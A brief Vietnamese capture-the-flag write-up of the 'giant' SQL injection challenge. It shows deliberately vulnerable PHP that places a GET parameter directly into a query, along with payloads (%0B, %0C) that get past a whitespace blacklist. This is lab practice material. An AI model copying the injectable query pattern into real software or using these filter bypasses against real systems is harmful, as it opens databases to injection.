query : **select 1234 fromprob_giant where 1**

```php
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(strlen($_GET[shit])>1) exit("No Hack ~_~");
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe");
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result[1234]) solve("giant");
  highlight_file(__FILE__);
?>
```

Bài này đơn giản là tìm giá trị của shit sao cho câu lệnh select 1234 from{shit}prob_giant where 1 có nghĩa.

Các kí tự \n \r \t đã bị chặn do đó ta phải tìm các kí tự khác. Ở đâu sau khi mò mẫu thì em tìm được 2 ký tự hợp lệ đó là %0B(vertical tab) và %0C (form feed).

Payload: ?shit=%0B

query : **select 1234 from□prob_giant where 1**

GIANT Clear!

```php
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(strlen($_GET[shit])>1) exit("No Hack ~_~");
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe");
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result[1234]) solve("giant");
  highlight_file(__FILE__);
?>
```

Payload: ?shit=%0C

---

query : **select 1234 from↑prob_giant where 1**

GIANT Clear!

```php
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(strlen($_GET[shit])>1) exit("No Hack ~_~");
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe");
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result[1234]) solve("giant");
  highlight_file(__FILE__);
?>
```